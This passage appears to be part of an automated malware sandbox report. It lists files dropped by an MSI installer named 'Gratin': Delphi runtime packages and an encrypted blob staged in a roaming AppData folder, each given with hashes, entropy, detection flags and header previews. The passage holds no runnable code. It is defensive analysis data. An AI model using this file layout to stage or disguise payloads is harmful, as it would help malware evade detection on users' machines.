SHA-512:	4E6BD3F85C71A8FF0DB1E92675295D5BBD0EE8CF24D4DF4150A922E9C25FA1F7116263AC4E55C9A9420416FD0388DB593C1FE43D22D0A8D25CAA20EEB13F5080
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....Yif.....................~....................@...........................$.....%. ..........@...................................................8 ..f.......$......................................................,"...........................text...h........................... ..`.itext.............................. ..`.data...@...........................@....bss.....................................idata..............................@....tls.........p...........................rdata..............................@..@.reloc...$.......&...0..............@..B.rsrc................V..............@..@.............`".....................@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\datastate.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	60928
Entropy (8bit):	6.076596555078833
Encrypted:	false
SSDEEP:	768:2d3yLVTcRkZrVlqE6BY6TalNPzrrSRTy3IXGX8prYXDRMLu8Vp4:GCpTzriE6BYrrJIXJpCRM68Vp4
MD5:	F2986DC64A9ECCFAD317CB01A42954BC
SHA1:	84838D33FDE059E3AED7AD38B09642C802F0EAC8
SHA-256:	86C75285D2E51B8E5BA2191C6B1888BBE69437B767E19C530771C08F6FAC7C46
SHA-512:	B8DE5D2450B7685A865A3565965E786745E63ADB4F926896DD67D6E1BEA802FCD2A03A61E464CA1F7153FF90A0582E92D0946A558F4FC7468CA035853C7E5E73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!.O.@...@...@..h....@...8...@...8...@......@...@...@...8...@...8...@.......@...8...@..Rich.@..................PE..L.....&]...........!.........X......n5.......................................0............@.....................................<.......................................................................@...............(............................text...S........................... ..`.rdata..b-..........................@..@.data...d...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\hso

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	data
Category:	modified
Size (bytes):	4526833
Entropy (8bit):	7.966185784897977
Encrypted:	false
SSDEEP:	98304:HNfg5MzZZKcUrhgrhiNcqM7VFHrCgRUVpS5QMsWpBs3KKLnb9owzajg+l1:HuKZBYwhiNcqM7npRsS5QMD8jb9owu1
MD5:	AE698161CA0CD6BAF53788C39B7D55A8
SHA1:	C03513DC4712FE46517159FAF2D7BCCDF4DA2C58
SHA-256:	ED4905E10A4416F1C878EBBADAEC55A76490BAF8B9EDBBD99DB17FB62311FF64
SHA-512:	A6D4391E39C77A30900B7FB377060E233FF5D7A770BF0979CACC88108263BF4BFBEE369BD95A4AFF07C99EE20B12A15D9B9BF399B33645614985239B5CCFC44B
Malicious:	false
Preview:	x..b\...wc.x..^....\.RFT..EN.Eu...I.CUP..em.W.....R.bX....Q....P.Mhu...^.m[..jc...E.X..q..O..]....EL]Ce.....Zx.UC...issEw].GoS.dEviIT.Vk...kt.O..x...ak..jL.Am....pLJ..._..PZ..e..\.pqW......KU^....c.\....YGP]kGb...o.qb.B.FYsE.M..mUB..S..._._._.v.m.\lF..hCN......`...A..dW...if[.....qYMk..UG.K..OOnFX`.h.....I.Y..L..`..N..Rnm.Bplo.Vv...O.._d_qP..Y...Bv.ef\...PH.H..._.CXFA.r.....pNEI......d......s..._....v.....gBoGA.Zus..J.m\.I.X....V..Kyh[jJ.[i.q.h...V..y._QQ....w...X..a.hJ.h......Lk.i....L......F.a.....[.VZTf.ol.La...o.\.Pt...R.R..D.b..I...t.Ab...r.v.......]n.JVF...G`.b...MjVLJ.eaak._dE..Q.Sx......b...N.k.DL.o.q^Hy.Z...ZJ..l.Rrhu.NP.U.lKB.\.G.y.f.rEq.Pj.U.v.[q..LV...YM.DyX.fK.eg.S.....r...ksY.p.].B.k_.l.l.S...L.D..eT[k.K...V..`q.X.\.Dh.J\.hKd..^mi....`..mZVU.....d..`IF.x......smJcs......ot.ta.q.k...Sk.C.C.M..q.n..KN.f..M.X.H..Q`kLa.P...w..^V...f.o.Y..lZXg.c.l...B.glv.....e.a.PbW.DE..TpRCSOMM.q..pY.y..a.Z...N...Mv^QM.o..M.i..e^..T.Jtx.NcAI.^..^P^..TJ.x..c..L..ej..^...k[l.Fk.....m..t..JP`D.

C:\Users\user\AppData\Roaming\toolsync_RO\madbasic_.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214016
Entropy (8bit):	6.88876124830787
Encrypted:	false
SSDEEP:	6144:wN/kSQxE6qeM/k4qTl5L5e5+53WCG1CbF/Frf1:PqeM/k4qR5L5e5+53WulZ1
MD5:	DC6655A38FFDC3C349F13828FC8EC36E
SHA1:	95DB71EF7BFF8C16CE955C760292BAD9F09BB06D
SHA-256:	16126FF5DAA3787A159CF4A39AA040B8050EBB66AB90DBB97C503110EF72824A
SHA-512:	84B85F2AAAD773CBE039022DB3D0C35263343243F0D021D7AA3086904B80DD309E6D2A93613CC774B5DB27335F4D2850151E2BC8F4648B0065F66BD3722C3D69
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...[..V.............................0.......@.....W.................................................................0...d......`(......x................@......................".......................................0............................text...x........................... ..`.itext.......0...................... ..`.data...l&...@...(..................@....bss........p.......@...................idata..`(.......*...@..............@....edata...d...0...f...j..............@..@.rdata.."...........................@..@.reloc..............................@..B.rsrc...x...........................@..@....................................@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\maddisAsm_.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	6.769493849077948
Encrypted:	false
SSDEEP:	768:RhaUyLDjc8SqMhnJ/zq0siFsjB5mYdWtC16+C+024bQJu0D3BIBo1w4Kv57dbhrC:RNy3eqMne0sXB0IWtCLwEJhY0w1SD
MD5:	84BC072F8EA30746F0982AFBDA3C638F
SHA1:	F39343933FF3FC7934814D6D3B7B098BC92540A0
SHA-256:	52019F47F96CA868FA4E747C3B99CBA1B7AA57317BF8EBF9FCBF09AA576FE006
SHA-512:	6E7648194738E8E49E48C2450EEF1D482473CD4E5C0E83F292AC9174488F3F22A3B6BA96F07E024C2AB96613D9DB1A97084CA0B3973ED5D88502E0D28E120EF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...[..V.................z...8......4..............W......................... ......~{..................................&.......d........................@......T...............#....................................................................text...4w.......x.................. ..`.itext..<............\|.............. ..`.data................~..............@....bss.....................................idata..d...........................@....edata..&...........................@..@.rdata..#...........................@..@.reloc..T...........................@..B.rsrc...............................@..@............. ......................@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\madexcept_.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.727415549986866
Encrypted:	false
SSDEEP:	6144:mlAz49EKhEV30F8sl88nTjQ4Q50gEcW/jd+o72niVUNMa4Yn2c:mlG4ut30F8slzYlQcW/jd++2nJ6u2c
MD5:	21068DFD733435C866312D35B9432733
SHA1:	3D5336C676D3DD94500D0D2FE853B9DE457F10FD
SHA-256:	835F1141ECE59C36B18E76927572D229136AEB12EFF44CB4BA98D7808257C299
SHA-512:	54664A9E60E5A0B148FC4684125B7EAC9CFC57D0BC5838204ED587D62E44C3347C0BAE3192D5C375B6A74335B4FED4FC53248BA542C59022E9761872E09E3EE7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...f..V.................H...@......<c.......p.....Y.....................................................................O......._......D<...............@...P...A...........@..$...................................l...x............................text....C.......D.................. ..`.itext..D....`.......H.............. ..`.data...t....p.......L..............@....bss....H............Z...................idata..._.......`...Z..............@....edata...O.......P..................@..@.rdata..$....@......................@..@.reloc...A...P...B..................@..B.rsrc...D<.......>...N..............@..@.....................R..............@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\qvi

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	10135
Entropy (8bit):	6.530994651641475
Encrypted:	false
SSDEEP:	192:YDdCjuwKxx0Iz3YDkI+eF/CpUZK794s8epq1Zo+VI+uMiDkknW9dRsaAtQxp952d:YBHOIz3YoI+eF68leE3/VYYj5Ds
MD5:	C7E234FA36DBC2C97D2ED3974A437417
SHA1:	41A8BB3540920F868EA669B909E61071E16497F8
SHA-256:	ED115985C0DB3516AE57B9E2D2B8472EBA69F31ACCF7D6A078049B269958CE1C
SHA-512:	259A929CD6665F6EC8640E629668E4A90D3261C2B1987A1DD5C51175CCA7CA9B03DF09BEFC9EAB4543F726B6423F393735CEEBF00AD2741DB0D5F14DB732AE11
Malicious:	false
Preview:	U.m..w.j.q....ox.V.KjW...N^tE..ckFRj.....`...aolj..DPUmm.NR.bP..L.k.J..Z..CK.I`k...FlmuX._.....E]M..v.r.v...xh..q..x^....dG..y...oigZh.ekGyq\.Mj_..NY..o.tvgGB...A.s..d..j...uk..w.m[oU....\.c..d.hKL....A.MZ.W.CiW.mp..qd.l.Q..L....F.T..u..Y.AAf.h..I..s.Y.]UjS.YO.W......qSYw.....CHilS.y...ZA.H.XyRa.mlB.p..Ya...f..q.NB....oy....s..p.QS.fHN..e..qm......f.sSGg_.jvH.M\VNA...Jtq`..am..mGh.Wk...I..U..^...W.]H.j.].pK.a.ZL.USl\.W_.mM.Q.`.i...Ns.qcs.uU.l...........kd.........F.KH.i.k......VV.i.aS....esO.OsFjv.`....o.hJ..]\..wL..WQ..[At..A..].B._.bk].X.H...Ps...`e..T.j.]..f...YA_.[...Em..m..O..l....J.J.n.^..R.Z`Zt..vK.iX.e.....S...]L...C.[..m...w.^O..e...DWdVh.CEs...y...x.^R....e.\.\OtwL...nLR.Q.p.GV..x...._.U.HQ....J.Kf.fHw.ikk..S..w\...n..hN.qM.Aq.Z...DjX.x.x..gF...K..\.........EOFP^\[y.t....UW...c..^^UiE.vpeF..X].a...F..Cg...h_OsXFKyQB.S.Mu..iwK.s......qfT.F.].....mUx.TCE...dkXO....f..q.d.Rt...g.i..._s..HH.vKY.EI.X...E..^.w.G.Cs...l..E.Qm.i..a....Q.G.Os]......w...MYih.tT.cuP..n..P.W\kaD..DHAjK..

C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1111552
Entropy (8bit):	6.828560472335152
Encrypted:	false
SSDEEP:	24576:ebhz5FWbA1msvIRzM7Rk5JZzSQ4+Is2D9Tx0gbo5:l2hTKgbo5
MD5:	630991830AFE0B969BD0995E697AB16E
SHA1:	FEDA243D83FBA15B23D654513DC1F0D70787BA18
SHA-256:	B1FCB0339B9EF4860BB1ED1E5BA0E148321BE64696AF64F3B1643D1311028CB3
SHA-512:	2F2BF30BE615F44E56ECCA972A9FCBE27187045E13C468D039645E5CC6D01F990CDE32B322965F245BC8FCCFD0920F09A0AFA1D4DE0748ED01DD9FFC1BD24692
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H...........................................P.........................`..................................................X$...p...................@..............................................................x............................text.............................. ..`.itext........... .................. ..`.data...tw.......x..................@....bss.... T...@.......(...................idata..X$.......&...(..............@....edata...............N..............@..@.rdata...............0..............@..@.reloc...............2..............@..B.rsrc........p......................@..@.............`......................@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	925744
Entropy (8bit):	6.531971164117173
Encrypted:	false
SSDEEP:	24576:rRxNAQB74x0FwTuis6eCwjH+SW61zf/AD:ra+syis/LjH+S31E
MD5:	9D255E04106BA7DCBD0BCB549E9A5A4E
SHA1:	A9BECB85B181C37EE5A940E149754C1912A901F1
SHA-256:	02F37A8E3D1790AC90C04BC50DE73CD1A93E27CAF833A1E1211B9CC6294ECEE5
SHA-512:	54C54787A4CA8643271169BE403069BC5F1E319A55D6A0EBD84FB0D96F6E9BDDC52B0908541D29DB04A042B531ABD6C05073E27B0B2753196E0055B8B8200B09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......[...........!.....F...................`.....a................................k3........ .........................w ......0........................:... ...3...................................................................................text...0D.......F..................`.P`.data........`.......L..............@.`..rdata........... ...h..............@.`@.bss....(.............................`..edata..w ......."..................@.0@.idata..0...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...3... ...4..................@.0B/4...........`......................@.@B/19.........p......................@..B/31.................................@..B/45..........0......................@..B/57..........P......................@.0B/70.....i....`..........

C:\Users\user\AppData\Roaming\toolsync_RO\vcl120.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012160
Entropy (8bit):	6.677286319553433
Encrypted:	false
SSDEEP:	24576:L2gt8PRUMggrgN/5tWw+eNVEXZB5SOCwhuuYY8RPyS9YEPI5yz6T:LRSf0Ww+NpPSyzYY8c8YEPI4+T
MD5:	849070EBD34CBAEDC525599D6C3F8914
SHA1:	B0543D13F4D0CB787ABDAAF1D3C9A5AF17C87AFA
SHA-256:	B6F321A48812DC922B26953020C9A60949EC429A921033CFAF1E9F7D088EE628
SHA-512:	F2CA685B01BE9D1B77D8D924E0097DDACEE7628CC1AAD8A87D8B18A699558D38A7851E6CFF8BB2B8AE1980824588AF5C3AC75B7B4198B620144DFF61611F3AEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H.....................l............... .....P.................................e...............................P...'...`.......................t...@.......^.............."....................................y...............................text...4........................... ..`.itext.............................. ..`.data...\!... ..."..................@....bss....<....P..........................idata.......`.....................@....edata...'...P...(..................@..@.rdata.."............8..............@..@.reloc...^.......`...:..............@..B.rsrc...............................@..@.....................t..............@..@................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\vclx120.bpl

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225792
Entropy (8bit):	6.542140301791508
Encrypted:	false
SSDEEP:	3072:F4af8kXL6nX0YXjvkWQ5vYhbNkWPFOEJ8YZbjeTl0Y25zFgYBzRKy6sB65avEtAt:Oaf8kLWL7Xov8bNxdOmrfgYmHA6I
MD5:	7DAA2B7FE529B45101A399B5EBF0A416
SHA1:	FD73F3561D0CEBE341A6C380681FB08841FA5CE6
SHA-256:	2BDF023C439010CE0A786EC75D943A80A8F01363712BBF69AFC29D3E2B5306ED
SHA-512:	8E9EC71943C412FE95563E488D91E6EF0041C16A08654FF14B11953F134007657D1E6EC95952F6B9C8B8567A35368840618DB06E5CD99ABC43AE495A3FBC6B96
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H..........................................1P.................................T...................................\|......&....P...>...........2...@... ...!..............!................................... ................................text...8........................... ..`.itext.............................. ..`.data...P...........................@....bss....<................................idata..&...........................@....edata...\|.......~...R..............@..@.rdata..!...........................@..@.reloc...!... ..."..................@..B.rsrc....>...P...>..................@..@.....................2..............@..@................................................................................................

C:\Windows\Installer\4fe762.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Gratin, Author: Hurdle Stithy, Keywords: Installer, Comments: This installer database contains the logic and data required to install Gratin., Template: Intel;1033, Revision Number: {F8287FD5-FF2A-4270-84E3-45317986F30E}, Create Time/Date: Tue Nov 19 09:48:28 2024, Last Saved Time/Date: Tue Nov 19 09:48:28 2024, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Category:	dropped
Size (bytes):	6766592
Entropy (8bit):	7.9984911338080185
Encrypted:	true
SSDEEP:	196608:0I1luWmYjbL+43RSnJaVBKQiEh4i4gO3MR26f:9pLbL+4tli+4hGJ
MD5:	829E5E01899CAC6E4326893AFBF5BE82
SHA1:	DA638840F3452D74B9118D6C60A5A6CF70B87901
SHA-256:	84ABC28B1DA1C2DDF01072FB2817EB446933BA98ECC0DB2228281D6FCFADFF0C
SHA-512:	212A35971A38F2800E876882A03E610C074B4918509D06D4A25E9CDEBB1049E7A91BD7E659706914A9584F79943C94CA68F0F3BE7ACF84E056F3910C717C4F03
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\4fe764.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Gratin, Author: Hurdle Stithy, Keywords: Installer, Comments: This installer database contains the logic and data required to install Gratin., Template: Intel;1033, Revision Number: {F8287FD5-FF2A-4270-84E3-45317986F30E}, Create Time/Date: Tue Nov 19 09:48:28 2024, Last Saved Time/Date: Tue Nov 19 09:48:28 2024, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Category:	dropped
Size (bytes):	6766592
Entropy (8bit):	7.9984911338080185
Encrypted:	true
SSDEEP:	196608:0I1luWmYjbL+43RSnJaVBKQiEh4i4gO3MR26f:9pLbL+4tli+4hGJ
MD5:	829E5E01899CAC6E4326893AFBF5BE82
SHA1:	DA638840F3452D74B9118D6C60A5A6CF70B87901
SHA-256:	84ABC28B1DA1C2DDF01072FB2817EB446933BA98ECC0DB2228281D6FCFADFF0C
SHA-512:	212A35971A38F2800E876882A03E610C074B4918509D06D4A25E9CDEBB1049E7A91BD7E659706914A9584F79943C94CA68F0F3BE7ACF84E056F3910C717C4F03
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI1A3A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	5.270735653829015
Encrypted:	false
SSDEEP:	12:EgiTgRwiPQvRU66tfl/unfNEhHmX/qHXZNDUSEMszVltNnRigrH5:6TglQvvMJQXkXZIMEVlt1VF
MD5:	163CBF54A91AA673214E41FBEF1EDB25
SHA1:	41A2E15DFA78501D5489FCA3F7A85F46BDC282DA
SHA-256:	FA72B2F954C3D6EF9061F47F4D33BFE8E3E699DE519FE739A5EFABD4042BF717
SHA-512:	5A7B990262133CC6A37DDDFEDF421A56605D9EADBCFEB8996BDA90A6C68C53A4CA0DDE82F2AABEFAECCAFC0BE91E4107340B811BD38F195F722E766C80574CF0
Malicious:	false
Preview:	...@IXOS.@.....@O.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..C:\Users\user\AppData\Roaming\...@.....@.....@....

C:\Windows\Installer\MSI3BBD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	5.272034943849951
Encrypted:	false
SSDEEP:	12:EgGTgRwiPQvRU66tfl/unfNEhHmX/qHXZNDUSEMszVltNnRigrH5:OTglQvvMJQXkXZIMEVlt1VF
MD5:	0183F5CEA08CB0020B9064AB56EC4A9B
SHA1:	38B628B5B9484D81C9F04A8E517BC15E1AAD65D8
SHA-256:	86B68A9FAF9C0AB2FF42398E257312CA2CC5F793CBF488DD0C300DA7798440FF
SHA-512:	E2462742C574031820EEB5ABF73CC1F57EA8B81B8CE5DB4A67B08C18A11CEC0E0B5DDC92B90FAF7FCC1D3255E19910C9997F09CF591E0994B08D75BAEF8FB174
Malicious:	false
Preview:	...@IXOS.@.....@S.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..C:\Users\user\AppData\Roaming\...@.....@.....@....

C:\Windows\Installer\MSIE9F2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4356
Entropy (8bit):	5.626877928634087
Encrypted:	false
SSDEEP:	96:z59QDOrkss4VsSsgDMZy0L+IfjZceYUae6kOnhQqfEPnR:zznrksJV1PwZy0CIfj+e8e6j1WnR
MD5:	CEDC8576593338C927FF41F1D600044C
SHA1:	B82F77D7CEE6DA26F329D1CB44BF34E849CAFDDD
SHA-256:	4E814FD8DE73CCCDE0B29924A252D6B5066DD4A5E79FAB820607FA675762CA02
SHA-512:	C58485BB853573DE4A986E8CD4BB9F20F8DF3373FDEC3DB089EEF37AB02316E9A733EDDC25272AD2BC68E5A3DDB3E4236EB7D5492329DDC655C0B5AB2CE75601
Malicious:	false
Preview:	...@IXOS.@.....@H.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E20E89CA-95F6-5DEE-87C2-2010D7F7BD02}2.C:\Users\user\AppData\Local\Temp\Aplanogamete\hso.@.......@.....@.....@......&.{C563E190-FFF5-5EB2-96EE-2ABF7AD28F4C}<.C:\Users\user\AppData\Local\Temp\Aplanogamete\datastate.dll.@.......@.....@.....@......&.{61B0744F-3BCA-52D6-B8E9-FDAED81FE5E3}<.C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe.@.......@.....@.....@......&.{2686B041-402A-53FD-9258-4FE6A6C3E662}<.C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl.@.......@.....@.....@......&.{95C0C730-48E2-51E1-AD09-926C08DAB44F}=.C:\Users\j

C:\Windows\Installer\SourceHash{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1628767727634246
Encrypted:	false
SSDEEP:	12:JSbX72FjwAGiLIlHVRpfh/7777777777777777777777777vDHF8hZn9B/2utpwz:JuQI5b6j9B/2KF
MD5:	3E6B58405F39A8AFB938A7996B8F69F2
SHA1:	CBBB35A85B1538A302C3377E1A530F2DE3E43862
SHA-256:	62DB465A466141BB6A9166CF3DB3C73C587F9417274AE8FFAB34767ACB5F1257
SHA-512:	CA8780584FA40B2885D04497A21A4D4D4BA3971DDC29B8BCE5E059D38D04AC23048FBF5211E4FA79C0212C8175D774CACDD6B1E876F18AC83549493D79295087
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.511071757009978
Encrypted:	false
SSDEEP:	48:d8PhYuRc06WXJInT5HiBR2TH9US5oHrbeUJj9US6WeUJ:AhY1rnTpKR2TCfe38e
MD5:	2ED290C5F2B88E140ACFA3B893BF4450
SHA1:	D27B9D61CC2431A4AF12EBC0C04E4E63B3F98D02
SHA-256:	312FCF0AB3421E2422B0A4F7D3DA9229CE9B0FBD6C276FC3244C9F18668C040B
SHA-512:	D64804A88D799D628504EF76727234608F9257FD329D460D9D90361D049537D80D054F5E01B905D012A8CFCFAB10FA63FF38F822A69381A43353F0F386E14075
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.375182053362758
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgaur:zTtbmkExhMJCIpErW
MD5:	C969BFC86644AF52BEA8B0318C5EE33A
SHA1:	1D48DF457AD0561F0656CA35CAE7F8A2C10DA58D
SHA-256:	2F9A2AE4AC79D3C38CE814AB1F8218189EED76416D7C50D5A39BBD629818A2EA
SHA-512:	97D48DC818623C0001B7F35B66415B91D3E5186951E0C8F26760871F0B7C06E34BB6CF480AAD2849725C91453E8D426B115F28E24C8CCB4C7CB0C44A9845285A
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF0EF5D717593EAF7F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07056880036279622
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKO8XhZntrB/wbIh4Vky6lw:2F0i8n0itFzDHF8hZn9B/Xw
MD5:	EF1E213DF84FF32A73BC36C16915EBDE
SHA1:	167646A923F6DFCF80CFFC8A521C868D6605450E
SHA-256:	06D3D8D0DFAE46262873FE37A0A2203BE99E899DD50BC95530C777CFB0FFB0D4
SHA-512:	F90FBD19761D494ED9EEAB2AE1C086F0D834C29F1760B2D4057FF5E9653E82242907A5C66B63BBAFB3476E5518FD5D5A8755679E65DCF3B40BB9C2090DBE96E8
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF1481EC7C2BD5DEDD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.511071757009978
Encrypted:	false
SSDEEP:	48:d8PhYuRc06WXJInT5HiBR2TH9US5oHrbeUJj9US6WeUJ:AhY1rnTpKR2TCfe38e
MD5:	2ED290C5F2B88E140ACFA3B893BF4450
